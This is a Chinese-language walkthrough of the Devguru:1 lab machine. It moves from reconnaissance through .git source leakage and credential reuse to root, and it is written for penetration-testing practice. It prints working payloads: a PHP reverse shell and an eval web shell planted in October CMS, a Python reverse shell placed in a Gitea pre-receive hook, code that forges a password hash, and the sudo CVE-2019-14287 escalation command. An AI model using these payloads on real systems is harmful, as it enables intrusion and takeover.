Devguru1靶机练习

Devguru:1靶机练习

文章首发于云众可信:Devguru:1靶机渗透-SecIN (sec-in.com)

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.143

kali linux ip:192.168.1.137

信息收集:

主机发现:
1
nmap -sP 192.168.1.0/24

如下图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.143

image-20210226211653677

端口服务扫描:
1
nmap -p 1-65535 -A 192.168.1.143 -sV -T4

如下图,除开启22端口ssh服务以及80端口外,还另外开放了8585端口

image-20210226211934524

目录爆破:

dirb:

1
dirb "http://192.168.1.143" /usr/share/dirb/wordlists/big.txt

image-20210226221954531

dirsearch:

1
python dirsearch.py -u http://192.168.1.143 -e *

如下图,除与dirb扫描结果类似的目录外,还看到了一个./git目录

image-20210226223113342

访问一下爆破出的目录:

共发现两个比较有价值的页面,一个80端口后台管理登录页面,80端口是个October框架的网站

http://192.168.1.143/backend/backend/auth/signin

image-20210227195533892

8585端口也有个登录页面,是个gitea搭建的项目托管网站

image-20210227195726337

漏洞挖掘:

之前在使用dirsearch爆破目录时,看到一个.git/目录,这里我们可以用另外一个工具githack将其下载下来,GitHacker是一个多线程工具,可以检测站点是否存在git源码泄漏,并能够将网站源代码下载到本地。

工具获取连接:https://github.com/lijiejie/GitHack

1
./GitHack.py http://192.168.1.143/.git/

image-20210303173819905

成功拿到git源码

image-20210303174308966

经百度,得知October的数据库信息存储在database.php文件中,在config目录下找到此文件,查看文件内容,成功找到数据库用户名密码 october,SQ66EBYx4GT3byXH

image-20210303174933576

登录之后来到网站的后台管理页面,,可以看到CMS选项下有一个添加页面的功能

image-20210309210226526

我们可以利用这个,新建个新页面来制作反弹shell

1
2
3
4
function onStart(){
$s=fsockopen("192.168.1.137",4444);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

image-20210309210430869

点击save保存,kali端监听端口

image-20210309210627673

然后点击preview,反弹成功

image-20210309211004680

同样方式创建一个一句话木马,用蚁剑连接,上传一个本地漏洞搜集脚本linEnum,这是一个基本shell脚本,从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等)进行扫描,以查找可能存在的提权漏洞,下载链接https://github.com/rebootuser/LinEnum

1
2
3
function onStart(){
eval($_REQUEST[123]);
}

image-20210309211307394

执行这个脚本,然而并没有看到什么有用的提权信息,说明www用户的权限被设置的很低,我们需要从其他用户入手,从脚本提供的信息来看,passwd文件是可读的

image-20210309212245527

打开看一下,可以看到里面有一个用户frank,之前我们查看数据库的时候就遇见他了,老熟人了

image-20210309212420619

但October的shell我们已经获取过了,只能是www用户,所以我们需要从其他的方面入手,比如说之前扫目录的时候看见的8585端口的gitea网站

暂时没在主机上找到有关gitea数据库相关的用户名密码,但之前用LinEnum搜集信息中,有一个app.ini.bak备份文件,在里面找到了gitea数据库的用户名密码

image-20210309213501042

image-20210309213621385

再回之前的那个数据库登录页面,这次我们登gitea数据库

image-20210309214001353

登录进去之后可以看到一个user表,里面有一个用户frank,但密码被加密了

image-20210310194558467

这里我们不知道加密方式,没法直接解,但gitea的框架是开源的,我们可以在github上直接找到项目源码

https://github.com/go-gitea/gitea/blob/master/models/user.go

image-20210310194921296

在这里我们可以找到密码的加密代码,使用一个我们自己设定的新口令,加密后替换到数据库中

image-20210310195433379

最终得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import (
"fmt"
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
)

func main() {
var tempPasswd []byte
tempPasswd = pbkdf2.Key([]byte("12345"), []byte("Bop8nwtUiM"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x", tempPasswd))
}

代码为go语言编写,没有环境的话,可以在这个链接运行

https://play.golang.org/

运行后得到加密结果

image-20210310200300579

将其替换至数据库中

image-20210310200639175

保存修改,在登录界面登录测试,登录成功

image-20210310200822595

我们找到frank用户的git代码仓库

image-20210310201324488

gitea支持githook,我们可以自定义这些hook,在我们进行例如更新git源码这种重要动作时,这些我们事先定义好的名为hook的脚本便会起作用,执行一些例如发送邮件、核查代码等工作,同样的,我们也可以利用这些hook,来帮助我们进行渗透,例如反弹一个shell

在settings选项下我们就可以找到编辑githook的位置

image-20210310202627053

这里我们选择pre-receive,pre-receive会在push前检查我们编写的规则,即只要我们提交保存代码,这个钩子就会执行,在里面写上我们自己的python反弹shell代码

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.137",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

保存修改,然后监听设置的4443端口

image-20210310202931444

随便找一个文件修改一下,README.md也可以

image-20210310202952759

提交修改,反弹成功,是我们预想的frank用户

image-20210310203042712

权限提升:

拿到shell之后,再运行linEnum收集一次信息,因为我们使用的这个shell显示信息不是很方便,这里找一个有写权限的目录,将收集结果写入一个文件中

image-20210310210541231

进到/tmp目录下,将这个文件用scp挪到外面来

1
scp 1.txt root@192.168.1.131:/root/1.txt

image-20210310210648930

再查看枚举结果,可以看到存在sqlite3漏洞

image-20210310210758266

搜索这个漏洞,用到一个网站https://gtfobins.github.io/,这个网站还有一个在线的漏洞搜索工具,有兴趣的可以下载一下https://github.com/GTFOBins/GTFOBins.github.io

言归正题,搜索到漏洞之后,这里给出了sqlite3的漏洞利用代码

image-20210421105256946

image-20210310211227479

我们正常输入利用代码,试图获取shell之后,如果想要使用sudo以root身份执行,依旧会提示输入密码,不可行,但我们之前收集系统信息的时候还可以看到sudo版本

image-20210310211703347

1.8.21,在1.8.28版本之前的sudo存在一个cve漏洞,cve-2019-14287,这个漏洞使得,如果sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,我们可以通过指定用户ID -1或4294967295来以root权限执行恶意命令。

总结一下,这里涉及到了sqlite3和低版本sudo的两个漏洞,关于sqilte3,存在一个返回shell命令行的漏洞,但想要以root身份返回一个shell,需要使用到sudo命令,sudo策略开放了我们可以无密码以任意非root身份使用sqlite3数据库,此时如果我们直接使用sudo,还是需要密码,但实际上虽然它指定了我们不能以root权限使用,却由于我们可以指定用户id-1来绕过限制,从而实现无密码使用sqilte,达到提权效果

这里我们利用这个cve-2019-14287,成功提权

1
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

image-20210310212250831

来到/root目录下,查看flag

image-20210310212340979


作者:C0mpactDisk,本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!